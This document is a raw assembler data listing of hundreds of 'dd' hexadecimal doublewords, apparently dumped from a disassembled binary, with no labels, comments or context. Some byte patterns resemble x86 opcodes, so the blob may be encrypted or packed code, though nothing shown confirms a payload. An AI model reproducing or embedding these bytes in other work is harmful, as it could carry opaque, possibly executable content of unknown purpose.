dd 0A298236Ah, 0E62FD80Bh, 259BD32Bh, 762FC0F3h, 0FD071276h
dd 9F027621h, 0E9165D06h, 16A3D898h, 0FE3BB353h, 0B1058CD5h
dd 0A2BCA0C4h, 4B06EC4h, 37C7E2C1h, 85014830h, 512CC30h
dd 71FFCA8h, 0A7241080h, 27447327h, 0C9E7D1C9h, 47E32AFAh
dd 0E0EB1ED6h, 1DAF2D01h, 0D0012E74h, 329D4F3Fh, 565B1790h
dd 52692EAAh, 87600B9h, 0E78119B6h, 4C7F120Bh, 2714F825h
dd 95F2508Fh, 253E17DDh, 2533CC57h, 0AB6101E9h, 0F55C20B5h
dd 0ED805A03h, 0AFC5FE6Dh, 0CD2CEA23h, 51ACC1BEh, 8CE9FCB5h
dd 0F8F62892h, 23C928Eh, 68C6FE76h, 0B0F7493Eh, 2809B50h
dd 0E188C5F4h, 0C87F2AE9h, 244627EFh, 13564D65h, 5CBC88D0h
dd 0AC4A02F2h, 67DC62E5h, 0D6E5905h, 305A8909h, 0CE746C48h
dd 0F67DE29Ah, 50A5EA33h, 9F16AE10h, 0E9395Ch, 0AD40A00Eh
dd 78EABF0Ah, 263080Ah, 35D77DB0h, 8F5AE260h, 7991849Fh
dd 4F3FA6EBh, 5BACE43Ch, 46CF4C80h, 5816FA96h, 43012AA4h
dd 7CA3680Fh, 4CE9CB8Bh, 60F71F10h, 6142C117h, 0E96C04F0h
dd 94685100h, 7B5F5C1Eh, 59FE16CBh, 30C4CF96h, 0C6E4FC52h
dd 5D951065h, 800CC660h, 0C40690EBh, 45A96814h, 99A8D3D4h
dd 0E91F704Ah, 3CDAD62Dh, 68832146h, 0A8334348h, 130E5324h
dd 0B53E3196h, 0AB0E70B2h, 0C6ABCFE1h, 300459A8h, 2CF0281Dh
dd 9340E904h, 429139BFh, 94555A4Fh, 7476B537h, 3CAB84E9h
dd 680990B3h, 2CD1120Fh, 5916E389h, 12CCA9B3h, 0F3C5E4A6h
dd 924139EEh, 0DC87CA01h, 5660C97h, 0BCF66EB2h, 2BDBC27Eh
dd 302BC080h, 28618217h, 0D2973DAAh, 1218B7ADh, 87EB1D9Dh
dd 34807513h, 0DDED5C09h, 0F72EFF66h, 0DC0A21Fh, 9D6AE52Fh
dd 16962DEh, 0E6E95200h
dd 4F5B76D6h, 0ABBA5B04h, 6923678Ch, 65DF87A9h, 3002C55h
dd 26366118h, 77BCC9E0h, 41024900h, 0E903E1C1h, 66524051h
dd 0E0616814h, 2C9C90B0h, 0DF7A9E1Eh, 485304E8h, 3C1209Fh
dd 76BA9F05h, 3C0EB58Eh, 0E86B53F7h, 11D0B2B2h, 0E7166BCBh
dd 0E5A1FCF8h, 0D8DB84C3h, 0DB5055Bh, 4810AC30h, 598C74C2h
dd 5F827A6Ch, 0E0769C62h, 61097128h, 583D3C6Ah, 360D1E03h
dd 4019432Bh, 0D1D11D35h, 6A97AE2h, 28019A90h, 0E937D726h
dd 55906EFFh, 731E01F2h, 0EADCB5BBh, 0BE6880ADh, 4AF8470Ch
dd 0D3694175h, 38579368h, 1212D00Ah, 53C528E9h, 7949151Fh
dd 0F302849Ah, 81AF684h, 0ECAAF50Ch, 4CD9CB88h, 5078E989h
dd 0BE56003Eh, 1ED1254Ah, 750ECE81h, 0C01F4455h, 0C347F5E6h
dd 60C17603h, 6711208h, 0E91745E1h, 39EFD17Eh, 9BF641F5h
dd 3C6801C8h, 66C1447Fh, 504513E5h, 0CA4056A5h, 710475B8h
dd 0C6892F05h, 0AD245B78h, 0D95397B0h, 26233A80h, 0D5EB542Dh
dd 0C773CCA2h, 1C096B9h, 54B6BD0Bh, 62B96249h, 0B52F2466h
dd 25C27C81h, 0ED05AB56h, 61C3B72Ch, 131EEC29h, 0D235A17Ah
dd 8277B7E1h, 101B66D9h, 3BF16722h, 0C021E11Fh, 0BD557DA7h
dd 0FA26279Ch, 0AA135B23h, 8B5EE888h, 970A2439h, 6CF14913h
dd 9B2E93Bh, 0FED92B51h, 43D00DA7h, 0FB0C8002h, 0E90F9219h
dd 0EEA2D6BFh, 4DD72938h, 0FF4A54F0h, 761AFA1Dh, 50D25E12h
dd 0E673F180h, 0FE45C10Eh, 0EA6C5DC9h, 0CE88F005h, 0C0D69102h
dd 0B79040E6h, 0FE202E4Eh, 0ED81C979h, 0A04771E9h, 170C68Fh
dd 802AC795h, 916220EAh, 0F627E902h, 0EE375223h, 0AE784B85h
dd 642F5C41h, 0B4FB72BCh, 0F7460810h, 8F685301h, 5D429528h
dd 7589406Dh, 0BD5F6AD7h, 0E956F281h, 5348DD1h, 51440CCEh
dd 63FEDFB1h, 0E9F084E1h, 0ECCF63Ah, 20732D68h, 0E9C14E18h
dd 4B058259h, 1485EFCh, 17376704h, 59ACC20Eh, 71685390h
dd 2C661449h, 0BD8723h, 37AF7453h, 0CD815Dh, 1BE873EEh
dd 1640BF57h, 10342624h, 4360EA00h, 681457Dh, 622FD5E5h
dd 0C5040E0Ah, 22BE2428h, 3CD9C8BBh, 7FCF1712h, 39CE1FFEh
dd 4EF718E0h, 0D20BB273h, 0E6983EE9h, 0B351329Bh, 93C45E10h
dd 4F4C1338h, 59B668BFh, 0E58D504Bh, 5DCEC5E9h, 45C9CC71h
dd 2727A230h, 92FF5BD9h, 0F1D5851Eh, 4E028EFAh, 289744EBh
dd 56A2EE75h, 2F112036h, 88645C12h, 77E6301Ch, 1CCD9A7h
dd 7A7D11CFh, 0B9EFD86Ah, 0FE48FD76h, 41FC0115h, 0FB01340Bh
dd 8069A31h, 21F0B0Ch, 0FDAD32A5h, 0B32A006h, 1E955FF2h
dd 9BD19D11h, 9C90F128h, 72055EE6h, 0DDF730B5h, 46BCDE53h
dd 0A76624BDh, 5F6F01B5h, 4D60D0F7h, 64391DC3h, 6B89400Bh
dd 0C1E962EEh, 0F6251D50h, 689C1013h, 82342CEFh, 2DEE744Eh
dd 2A583117h, 0F6FB1B85h, 206BD40Bh, 0BA5B5E9Ah, 8FBA5F53h
dd 72E9831Ch, 0C529025Bh, 4CF55CADh, 0E5059087h, 29EE91F9h
dd 70A46BF0h, 0CD845C11h, 0A869888Bh, 78EBF4E1h, 6771A2BDh
dd 0A00D008Bh, 144C7A44h, 0B3191003h, 0D06FCC4Ah, 0E9122042h
dd 0BF6A85C3h, 0F8D75BE3h, 18E4F4ACh, 7E4AA307h, 52FA6EE1h
dd 1D29BC16h, 0EF0159B0h, 52D7F601h, 2581E63Ah, 2C0400E8h
dd 9BC53016h, 0EA243C29h, 2089252Dh, 615271DCh, 0C5C00BAFh
dd 0D8F7003Dh, 0AF56C935h, 16062D14h, 0C1D4F64Eh, 570D0ED6h
dd 6882C07Bh, 0CED72B09h, 0D9E91773h, 0D6B8FDCAh, 217AC8ABh
dd 838F997h, 4F12D160h, 2F1ACA0Dh, 7A215AE8h, 80775EC8h
dd 4B685BA1h, 622E7497h, 0B9D3FF1Fh, 0DC67689Ch, 65E3C2DFh
dd 0B1EF704h, 6A5DD8DDh, 2705C03h, 636F9D94h, 0DD6E62D7h
dd 5D5AFFC8h, 8A81E925h, 0C074B978h, 6B71BDE4h, 0E9243F7Fh
dd 5E934408h, 99DCBAAh, 0DCCB50E9h, 8158BC7Fh, 70DF52B2h
dd 375A5800h, 0D809A425h, 535803F1h, 0ED406BBh, 0DE092CA2h
dd 2209A898h, 0D53AD952h, 25D6A430h, 7A4024h, 4E366805h
dd 0B904DAA3h, 0C05A172Eh, 0E4184C89h, 6157358h, 6FEA1F2Fh
dd 0F3D13C7Eh, 10C2933h, 6A32BB84h, 1D685D5Fh, 0B7B18A6Fh
dd 24A3B89h, 0D5CB2E4Eh, 491658E7h, 0D5E0F509h, 762DF8EEh
dd 82B81810h, 6F439C65h, 0AC23B021h, 10012932h, 0B907816Bh
dd 29ED7147h, 6F965283h, 0D4C13EFAh, 60E86E08h, 0F4754C12h
dd 302ED061h, 0BD2834FDh, 0C186F17h, 0C58F3201h, 33313D95h
dd 5DB93642h, 0C3425FDEh, 2E53D5AFh, 30C5C825h, 383D0A03h
dd 6060558h, 0D58DE95Fh, 1D35BA05h, 6EF8427Dh, 0DF053F4Ch
dd 363360h, 0F955B5BCh, 0CD38E9CCh, 74BA5A56h, 8538AD9Fh
dd 9630A022h, 0A06DEBDh, 0EDC1109Eh, 0C32517CBh, 0FAA556BDh
dd 0AD5FB9DBh, 2BAF5FC1h, 3EF85A51h, 0CCD83FB2h, 5B1F6850h
dd 0C04BB3B8h, 0AA4B70A7h, 110DDDBh, 145A2754h, 3B68134Bh
dd 1050A350h, 804E0D82h, 718FF5C4h, 1EB079F6h, 0AE7632F2h
dd 9F3F50B5h, 71E9E9D4h, 0C1F1623Ch, 9D01330Ah, 5D69977Ch
dd 0E6CD5F80h, 0E975412Ah, 0D1B58775h, 6892BC6Fh, 7A24B7B5h
dd 77DA8997h, 66CBD371h, 685217CEh, 0E9BA4E7Ah, 0C24F132Ch
dd 0B210F209h, 2F2D61Ch, 404B6F53h, 0A74F1D41h, 20F9DA0Dh
dd 681884DFh, 244B4183h, 4B518179h, 97277FBCh, 78C3648Ah
dd 39666268h, 0C7777D44h, 40B90153h, 6A23480Ah, 525F53C1h
dd 0D745F96Eh, 0FF5E95BEh, 53350581h, 67CD912Bh, 0F7DF802Fh
dd 68A13002h, 1A418050h, 0B6F1325h, 56C00BAh, 5CE32A16h
dd 0B274359Eh, 7FDA9742h, 9952A2F4h, 27123B6h, 0BFFAFBCCh
dd 7CC59581h, 0CF01F091h, 8816498h, 81C0E1E9h, 10E8C38Dh
dd 0B02AB429h, 180CBF4Bh, 321AE11Bh, 0D33A0CBAh, 0EF42290Fh
dd 0D7E908A0h, 5F04169Ch, 66D8C101h, 0E9500C51h, 0BBB6BFEAh
dd 0C21CA995h, 934F44Dh, 67D1F1D5h, 2C49531Eh, 9480E4E1h
dd 9D88B1Eh, 0BDDE965Dh, 0BF3534F8h, 2A648546h, 17C0B01Fh
dd 9E977EEh, 158C497h, 0BCB2ABFBh, 89A9F19Ch, 0B0A32CDFh
dd 2D232EEAh, 0FF463ECh, 5F4B08A0h, 0E9823BE9h, 627956C5h
dd 6A3AF980h, 0C6257Fh, 5781F63h, 0DC92E2Bh, 50EF3505h
dd 13AA85D3h, 49010850h, 3BBE046Fh, 70456803h, 3AF7BE84h
dd 0A3423C17h, 9E6811A3h, 0CB3F8D51h, 61CC12C2h, 0AD9BD3BDh
dd 0E7B784ECh, 9ECC403Fh, 8339344Ah, 0B82516F9h, 3149E06Bh
dd 271A643Bh, 1390945Fh, 0D1AF15E9h, 2F2AEAE3h, 416E18A0h
dd 0A2316AA1h, 9007152h, 0E1B059C8h, 69AC5148h, 22780EEDh
dd 2D1D43h, 763899B7h, 2EB32941h, 6D76F298h, 6A7E212h
dd 6EE14904h, 3D516800h, 0AAC03A3Bh, 77CC4C7h, 53E92D63h
dd 2C5B0F81h, 55F23FC3h, 69A2672Dh, 0C722B6E0h, 65E782A5h
dd 0C6E4D72Dh, 659B2E31h, 0CC3E4F16h, 4912A764h, 0BCEC78D8h
dd 7FC0AED7h, 5827B65Eh, 0A45F5587h, 0C5F6E995h, 56E1C7C0h
dd 41AD77h, 68535550h, 0E3F6C75h, 0C30582B8h, 0FE40BF87h
dd 0B801DCE8h, 4E0373B4h, 128A4431h, 0B1E5DAh, 0FD149089h
dd 74947EF1h, 2F49081Fh, 0D435A7EFh, 3557F100h, 0B16B0021h
dd 7F2D4856h, 0BB187902h, 33A2C201h, 0E5189777h, 92175AE2h
dd 7D2C5E59h, 9D08B855h, 0D1753909h, 9E20628Ch, 0EA9CA2DFh
dd 2A187D94h, 484B4968h, 88EC2831h, 69E2EA04h, 0EF5E683Dh
dd 0E7BF3725h, 962E1294h, 0BD87890h, 0D45F4B9Dh, 0EA0812B5h
dd 71512FCCh, 0BA1B1768h
dd 0C99A0078h, 4FCC0F49h, 3F95097h, 8001E099h, 0EBF5A9E9h
dd 54517E30h, 0C5F8B859h, 0D8C9FE9Fh, 26DE8609h, 0DD0BC8DAh
dd 804C79E6h, 284E1B02h, 0E51DBC2Ah, 0F514C457h, 0C3F47231h
dd 0CB280459h, 0EAF50DE9h, 0B9969BF3h, 7EE917E2h, 8A41C2B9h
dd 9366A97Ah, 5E9F92EEh, 2C0511A9h, 6DDEBD26h, 0A22F2E10h
dd 0D6871D19h, 0E064F7CAh, 0D526884h, 578169EDh, 0AB240E9h
dd 0DA6614Bh, 0E3B900D7h, 40EE250Fh, 362837DCh, 0F3D4209Dh
dd 5AEA107Bh, 0B437E867h, 2504DDCEh, 0FF50324Bh, 123381E0h
dd 0FC07480Eh, 0E9074083h, 7039F56Ch, 0CA354F37h, 0DCC702F5h
dd 0F7A25DC6h, 0D0C4E8DBh, 185C73E8h, 0FD5E68C4h, 9F3C1379h
dd 0BE2CDBCDh, 96C3884h, 0D768095h, 7D580443h, 2F64B501h
dd 77F12D07h, 0C3C5F7DFh, 5DBCE4FEh, 23CC1B4h, 2B10D7BEh
dd 9E40D505h, 0C24E5130h, 7DE8F5A0h, 87760356h, 38A0E9EEh
dd 9D4F3C2Ch, 7E582002h, 77B0F561h, 124C76A0h, 58E30220h
dd 0D67FBD22h, 70E98BDEh, 5B07A2F8h, 6CF68059h, 750A3FA2h
dd 5D847A0h, 2E2E0608h, 0CD057816h, 0B309232Ah, 0BD4B5030h
dd 5207EC45h, 5A39CA89h, 71392F68h, 120C18F7h, 0B93CC0BDh
dd 570B097Ah, 0F51A2C90h, 0C1CC1D22h, 2BDDC833h, 8A717DFEh
dd 841895BEh, 0EAC116F5h, 0EB239E04h, 63583818h, 0C103830h
dd 153A2F5Ah, 0E601033Fh, 0B126B84Bh, 0E93AAFEBh, 0BC06C430h
dd 307B04B7h, 52AC127h, 7605D774h, 585B5033h, 55ECBBF1h
dd 4D212F46h, 0BA62B559h, 0D7255DE4h, 2D8957ABh, 0E9A585B3h
dd 0CCAAB81Dh, 0E55F337Ah, 0EE9E61ECh, 0CB2608C6h, 0FEEC8007h
dd 5321F430h, 0F43573B7h, 0FA24606Ch, 0C6F2E95Bh, 0A49C2ADFh
dd 58EFE719h, 4ABE1A90h, 73CA77A0h, 0EEEA38A3h, 0F95AD41Eh
dd 54B5518Fh, 8100C5C9h, 0D09BE9ECh, 0E510FA82h, 8AFC166Bh
dd 0B3215F7Eh, 0CD6BF171h, 6B0D3075h, 0A300741h, 0ED2BE10Eh
dd 2A6FC183h, 0C93E36AFh, 0D4F8214Fh, 544E1215h, 8194BD4h
dd 9BCDE9D7h, 51483963h, 16D80184h, 3607E0FDh, 0C60A5A29h
dd 5100104Ch, 7E346856h, 27E91B57h, 89A66919h, 0A07B064Dh
dd 53C50B4Fh, 0AC5F32E8h, 0E84601Eh, 254969A7h, 6B85CAE9h
dd 0BA8FFF5Ah, 9C28BD5Fh, 75E590E7h, 0E7BE4C39h, 0ED68FB04h
dd 0FC60AF11h, 5B16635Bh, 0CB4EA007h, 7EFD1348h, 5EF2382Dh
dd 766D0289h, 7060DD64h, 660D6330h, 1CD72931h, 0D9C20804h
dd 0ECB20F98h, 0A1DC1073h, 2CC82805h, 82F0856Dh, 38D84CDEh
dd 764A5276h, 152CFCC0h, 4D03A28h, 0AEBB5A3Bh, 8954D8A7h
dd 16447B3Bh, 0AE7B4A40h, 0CA4CC38Ah, 8EEB344Eh, 7B2704FCh
dd 0C4BE16BEh, 4801FADEh, 0FE0399CBh, 0D000E049h, 4E2960E2h
dd 0D083B84Ch, 1153480Ch, 0F1488A18h, 4140680Ah, 91E9843Dh
dd 755A099Fh, 479CD9F1h, 76978EEh, 32F105CAh, 0C440531Bh
dd 4ADB24B2h, 0F0A3410h, 7630EB98h, 0B9075278h, 6EA56BF6h
dd 70F7E1B0h, 0C7615EBDh, 99819E29h, 3120F192h, 6F67E898h
dd 49ACE8BDh, 3C659D40h, 0D3D4E10Ah, 2EB7C394h, 981252B5h
dd 4358AC4Eh, 120A885Ah, 0E868F2FAh, 0B2ACC626h, 5BFA7FFBh
dd 0FF9A1366h, 0ACFEB8Ah, 3EC52F79h, 0BDEC78A5h, 8DCD9789h
dd 51855AFh, 45C5AAA7h, 85EA7AF3h, 4190BAABh, 2C4032EBh
dd 2482166Ch, 275C1128h, 838461D3h, 839AA36Bh, 83BBA468h
dd 2D2827A9h, 0ECD7AE0Bh, 0A4AB798Bh, 1F5F20ADh, 15170504h
dd 3BB872C5h, 79900AD6h, 0E3964430h, 32E917D3h, 555D1081h
dd 9F23E0DCh, 2771A368h, 0F50EFE27h, 0EC89FC05h, 540078Ah
dd 58923C4h, 4CB8C7FAh, 9039DC00h, 0B1FAE94Eh, 82CD39Dh
dd 40B422Ah, 0B840D95Bh, 805FD82Eh, 276B850h, 4801422Bh
dd 1F4EBD2Dh, 972F407Fh, 2ECE30EAh, 0C716010Ch, 0AC87E6E9h
dd 0CD72EF77h, 16A66475h, 0B8548F1h, 0FDAE2512h, 766D21Eh
dd 50E5B261h, 28E0B050h, 5803C27Bh, 0F280CAFEh, 0B1240F04h
dd 0EB333024h, 0BE5BE68Ah, 59D3A45Fh, 68D78CFAh, 27C5B24Fh
dd 0E9E628EEh, 2E8CF92Eh, 9559666Bh, 3F152051h, 0C7FE179Bh
dd 3E5839EEh, 0E9961BEDh, 4FB226F5h, 42564417h, 6790CCBAh
dd 0C3853064h, 0BD5C91B0h, 22AD3273h, 0A4172AACh, 9ABB5353h
dd 19AC4B48h, 1D58AB04h, 1B97B915h, 0B003FFC5h, 24557BF5h
dd 5878EACh, 0BF0F348Dh, 79562D01h, 0F52B59F1h, 1C080677h
dd 99041482h, 0D8EAF4AFh, 0A0517BF1h, 0EFEC92C8h, 2124FE48h
dd 0CC225AD6h, 71755457h, 2EC4CAD1h, 0EA010A17h, 157B00B1h
dd 685D6B6Dh, 667F7625h, 71593996h, 15434D97h, 8340AA7Eh
dd 6E0A0132h, 87CD816Fh, 4D7BC876h, 55690EC1h, 0F5005C82h
dd 0DB00B5BEh, 5DE90130h, 4428F51h, 0EA685938h, 82CBAD3Dh
dd 605FF107h, 0DE18F2C0h, 0A2CC21Ch, 0AC6166B8h, 8AFB05F6h
dd 7047C96Ah, 0BE555E79h, 993E5929h, 94EC3ACEh, 7D2AC4h
dd 4D1E2D5Bh, 0A05E831h, 4FB82207h, 7503ECBh, 0A4E32FE9h
dd 3F8DEB20h, 0C11308B0h, 0B0E006EEh, 0B92250C0h, 0A7A45E3Ah
dd 0C24989E4h, 6638D7A7h, 0CCBD128Dh, 87E916D2h, 0D736E905h
dd 0D8938AAFh, 4F2D6821h, 0B675AC32h, 6EED133Ah, 0F9390BDBh
dd 1708D808h, 6E29BF5Fh, 929B4B2Bh, 60E1E477h, 754485Ch
dd 0F1EC63B5h, 0BAD6D40Bh, 4030F427h, 0BAD031Eh, 2DB1015Fh
dd 4F4C0806h, 0DF68EBEFh, 0B3E92C56h, 0C1808411h, 7B15E85Ch
dd 3A73AE34h, 0A90081EEh, 1D680036h, 0BFE9B3Eh, 0A5E8BBE8h
dd 0C60F479Ch, 0A9F7876Bh, 70D509Fh, 0CA75EFB8h, 0B877A440h
dd 0CA49300Ch, 645C68BFh, 0AC966267h, 3DBA5F38h, 0A1A33AEFh
dd 4D3D6C50h, 0EE02157Ah, 2CFD428Dh, 49413540h, 70B5A676h
dd 5E0781AAh, 3CAAA32Fh, 0B95D062Dh, 82262937h, 5BDBDC07h
dd 0CA6905ACh, 3B9F2AEh, 2D305FB9h, 6D115801h, 0F83F0A45h
dd 0A0944B34h, 7D13CAC2h, 0FEA25D9Bh, 0CF8520Bh, 19D12A08h
dd 15981C0Ch, 23E9470Ch, 0FCA7778h, 13415F21h, 0BF9D937Ch
dd 29F1FE30h, 30902A46h, 0F3DD3AACh, 8948CFA6h, 19824512h
dd 19E7BDB1h, 693030A5h, 461EA20h, 0D3E9DBF7h, 0E628AA32h
dd 30C34880h, 5BFCE710h, 17AE5485h, 0DD8F14CDh, 80750525h
dd 46CA8CAFh, 0A6014E9Ch, 0E55328DAh, 5E2B3738h, 0CD233DFFh
dd 0B9826E6h, 52AC33E9h, 5A2B3F91h, 4807262Ch, 2E742508h
dd 602C6359h, 0A16CA94Bh, 5A348705h, 0F35E9756h, 0E90B7FC8h
dd 85C67D98h, 598D532Fh, 0BD183C0Fh, 29664663h, 2D0FF873h
dd 0F5F1B86h, 1202AC05h, 0B21A7DBCh, 3EA3204Eh, 2643B804h
dd 91BA081Eh, 6ACE5DABh, 6B71138Ch, 0DCD3106Ah, 12AD3508h
dd 0F323A089h, 0E174F84Eh, 4C042EEBh, 46372D5Bh, 9751F052h
dd 72CA2EF3h, 9329D1A3h, 67280902h, 0BF905D39h, 16009D05h
dd 2D5D57DFh, 0A1F136Dh, 61B8682Ah, 42B992C1h, 565A5B54h
dd 71886860h, 0DB106628h, 2600D6E8h, 5DEE892Ah, 0BE7816E9h
dd 4B07E9B5h, 657D0949h, 0D64D8A56h, 757A7CEh, 0AB4BD57Dh
dd 0E9D001E5h, 0CF3A98B8h, 0D2115963h, 757221FFh, 40C92E5Eh
dd 0EBD6033Ah, 0F2CF2107h, 79FF962Ch, 62AD0815h, 330E5F12h
dd 80B1E961h, 0D46E6E6h, 4AA298EFh, 4525AED6h, 4EB04127h
dd 9A8F0BE9h, 0A0547BCFh, 66827BDh, 0EF816601h, 0FEF00D23h
dd 986D0790h, 0CFAD2845h, 2B7425E2h, 0E82D5A00h, 0BF181A5Dh
dd 684142F1h, 603E6679h
dd 8DE95223h, 0F8597040h, 797B95DEh, 2EECD525h, 43305F97h
dd 6D9C2AB8h, 996A2060h, 0FCE92F61h, 0C7FD3009h, 56E90577h
dd 518FDA2h, 42F72E1Bh, 704FB603h, 24E990A7h, 0E269C66Fh
dd 812A373Dh, 5FA8398Ch, 0E50A64D4h, 62D580Fh, 712C4624h
dd 0D1EE5D65h, 2AAECDC9h, 899F25B3h, 0DE209A2Fh, 14975295h
dd 46F50681h, 5028E13Ch, 342000E5h, 0A4B87439h, 0F80CA50Fh
dd 23BAF9E9h, 2F58575Ah, 1F482124h, 0FF7E75F6h, 98A75288h
dd 64064C1h, 7188C292h, 0A8AF2104h, 0E0CECBB1h, 1E1DBF11h
dd 957E9A5Ah, 0FC5EA750h, 0AB4AC549h, 86B80A34h, 0D7690106h
dd 0D1010F0Dh, 0E96BEA75h, 0A225DE6Ch, 6003FA20h, 0F6ED3571h
dd 201E3123h, 5139C501h, 34A87B08h, 9931E2D3h, 2D2B67E6h
dd 0F380608Fh, 6A096D13h, 415D31FCh, 6B730B96h, 5ED8823h
dd 0EF98607h, 0F5602042h, 5E16A827h, 89B0C4B2h, 88A330E3h
dd 97BB8294h, 918A1AB5h, 698CE100h, 0D1F76598h, 0B75504CAh
dd 0F84BBA10h, 0F3082FE8h, 5CE9C1BCh, 45C93F1Bh, 0B55670E0h
dd 0B30CAC65h, 50BB567Eh, 4E370A01h, 0B064AA61h, 6C4DE0AFh
dd 0E0A2B75Fh, 2DF9F24Eh, 21AD501h, 5F5FC244h, 0B75AD2B0h
dd 0E9166FD8h, 50F29586h, 0B69A583Ch, 0C0FF12B7h, 752C8AB5h
dd 41BB017h, 5E608CEFh, 1EB78016h, 23606510h, 0CBAA190Ch
dd 0BCC49F01h, 54FB5E76h, 0C1D5FFAFh, 8EFEA712h, 0C55C35C8h
dd 95609CF0h, 67E07F68h, 189AF788h, 0C72AB09h, 0C42E6ED5h
dd 924A253h, 0A44C9511h, 51B2A620h, 0B050C400h, 0F6C0FE21h
dd 3408C7D8h, 0C8D60F4Fh, 195E1F7h, 5B81BDC6h, 837A60EEh
dd 0FBCB3FA4h, 0ECCA3AAFh, 6AD81761h, 1F06EE1h, 9C739E45h
dd 16FB0986h, 0C22150F1h, 11416C90h, 68AD0800h, 891852C8h
dd 0A4A3FBD2h, 8F056858h, 0AF717369h, 806C094h, 4AF25158h
dd 849BE27Eh, 560E34DEh, 2820A5C9h, 8008E1C0h, 5168C107h
dd 2C6F3DB1h, 2D07183Eh, 0AD89F4E9h, 96E567F5h, 79B8B140h
dd 72178717h, 4034FF09h, 688E924h, 1ECC5C97h, 524213B9h
dd 0F1E0000Dh, 378F4355h, 0AB60E918h, 13AEE745h, 1349E48h
dd 161218A0h, 6CB12027h, 0FB830C0Bh, 820B7C21h, 501046FEh
dd 4705BFC0h, 82EFE91Ah, 83D2F476h, 139F19C6h, 0F10ABF4h
dd 12853AB4h, 0E5EE4841h, 39AC3A13h, 4B4A62C3h, 5009FAB5h
dd 8DDE0491h, 0F59DBE17h, 0BBF195FBh, 0BD5EBDD4h, 684163D4h
dd 0F42218E8h, 5B4F7020h, 79802DBBh, 6F8416B8h, 5B8ABDE3h
dd 0D11F30EBh, 0E40F2DE0h, 84B0CC0Dh, 88ADA76h, 3F685007h
dd 5839F06Eh, 200247C7h, 3E0540D7h, 0B8E4D753h, 0C8FB0131h
dd 8407C045h, 0B2C481FDh, 51AC008Ah, 53BE3DB5h, 0F3174113h
dd 0C96809B0h, 0BD42E45Bh, 0B163C122h, 201B4007h, 0A994358Ch
dd 2D337FC0h, 235F8ED3h, 841952ADh, 420CF030h, 0C4EC4F40h
dd 0A418E90Dh, 0D2BDEBE2h, 0BD9BF647h, 3E7D668Bh, 0FE293026h
dd 205BB18h, 29AE5F5Bh, 55068005h, 471A6268h, 0E925C53Ah
dd 0BE4CF09Dh, 9B1B1D02h, 5EEA8162h, 0B078AF14h, 965859B7h
dd 0D7B7B35Dh, 137B8ABFh, 9DFE77C6h, 69BF2B86h, 77E83E5Bh
dd 1F2D2EB9h, 9DC14575h, 66164606h, 7106A609h, 4A17A21Eh
dd 0DB20C9C1h, 4D143FE8h, 404CF2E8h, 0F068A011h, 62739C51h
dd 7F09D498h, 814913D1h, 0CA6D6131h, 39DF53DEh, 437FD35h
dd 12ECE747h, 0C15A1CBBh, 0F6DFE480h, 41F4D5DCh, 3F14D9FEh
dd 0F95F388Ah, 427CCBB0h, 0F5715747h, 7E5CFB8Bh, 0D652F19Bh
dd 33D5D1A2h, 0C1609877h, 88B72653h, 28ED00AAh, 0C267E9F9h
dd 0D967FCB5h, 93616F5Ch, 8381CE03h, 2E1BB7F6h, 789C383Bh
dd 9AD05801h, 5B5653EFh, 5E83096Bh, 0E4C0EB82h, 0D6427C59h
dd 7C0D998h, 96E7A68h, 0BF9B6ED5h, 0E98BFD5Bh, 7580C2D2h
dd 1DDB87C0h, 5E684518h, 6FE903DAh, 0EEE071C9h, 0F2FB129Fh
dd 34B1A49Ah, 494FC602h, 0D9088079h, 2C170A77h, 0C8866C01h
dd 5453C0Ch, 0D1D8AB1Ch, 0D08E4A1Ah, 3A49EB19h, 0D5086327h
dd 4DCE0500h, 689C4CFCh, 51B50720h, 96F4829h, 4CC6AB63h
dd 0F30CF20Bh, 32D90B18h, 0F10C0B96h, 0B8CC0945h, 146249D4h
dd 59E20B4Ah, 0C9520157h, 6CCD1C02h, 4DD8C13Eh, 473497DFh
dd 1B048BE8h, 0D1898056h, 686D1DA7h, 4E19C5A1h, 0C4EECA56h
dd 58BDAE6Eh, 0F0B71692h, 1A94AD7Fh, 0C419F4C2h, 77EA20F4h
dd 4B4EBD01h, 0B9517B17h, 4C491BE8h, 0BA18DA7Ah, 83BE2F3Dh
dd 6B4E3400h, 6C1CE681h, 0E92D1711h, 0C7FEB43Bh, 0B4823E95h
dd 63FEC999h, 1746B763h, 0ED5DEBD3h, 2DFBD6F9h, 0BA666E04h
dd 0E9541220h, 413A4B4Ah, 2C231180h, 894ED467h, 0FE9835ABh
dd 0A2FA6FD4h, 4B68E058h, 79989518h, 0F2AAF26Eh, 4874FADDh
dd 35B425Ch, 0DEF75ED2h, 97FEEEFAh, 50B858h, 53CFC11h
dd 0DD72D97Ah, 7748095h, 12293F64h, 0BD10E9CEh, 0C0294F6Ah
dd 0E03C7FFDh, 0E93A6815h, 5AF02D7Ah, 0D2EE7A5Ch, 8CE96F61h
dd 0C04B2B6Ch, 0C625D18Bh, 492CD55Ch, 0F2182713h, 20C37765h
dd 5A0C5969h, 692BC068h, 9C625BD1h, 0C2048186h, 20222A3Ch
dd 5F8A1AEh, 46620C08h, 8390C0B1h, 0D95E8090h, 0FE8FCDADh
dd 0EDB05043h, 946052E2h, 3770B679h, 76624CFBh, 856B285Ch
dd 8443946Dh, 0A79813AEh, 7779E8A2h, 0AAB90FC5h, 0DF48FA47h
dd 2FB2F3Dh, 2E9B0156h, 8BE6470Bh, 1F278239h, 0C0AFE96Ah
dd 0C9D2F796h, 7C7E6434h, 0F7BA7D25h, 8F20FE64h, 8161BD97h
dd 26AA3C8Bh, 0C20B9858h, 0EAB77102h, 0BC6213AAh, 8E179E90h
dd 492813A0h, 2C8764E8h, 0E9420F95h, 60E5A3E0h, 6B16521Fh
dd 0AD2DC6C0h, 79B23D02h, 0D1714E12h, 220A9ABAh, 13E50519h
dd 0F2BF4B3Ah, 0F5F12ADEh, 0D6AF5E4Ah, 9EF105D5h, 0CE90F109h
dd 5F98680Bh, 90E11E1Ah, 0BAAD2F5Eh, 0E838FFB5h, 78BC6C6Ah
dd 0E0F5398h, 81816CDBh, 699470DAh, 43B60C82h, 0E35550EAh
dd 0BD40FF77h, 3D0CB4EEh, 4173CF09h, 7106A70h, 0DFBD4EBAh
dd 521B0C60h, 68B8193Dh, 716C596Bh, 13CDAC76h, 9BE7AA77h
dd 5565D718h, 0C3FC5AD0h, 0AC96816h, 0D810F5A3h, 0D15F0358h
dd 0E7E2C1EAh, 10915B2h, 680C1868h, 3307C766h, 3F9182FBh
dd 542757CDh, 77C33383h, 377045DAh, 75FEAC4Ah, 8E3DFF7Ah
dd 40FDCD2Eh, 2DB279AAh, 58C23000h, 0D026F280h, 0BB290E2h
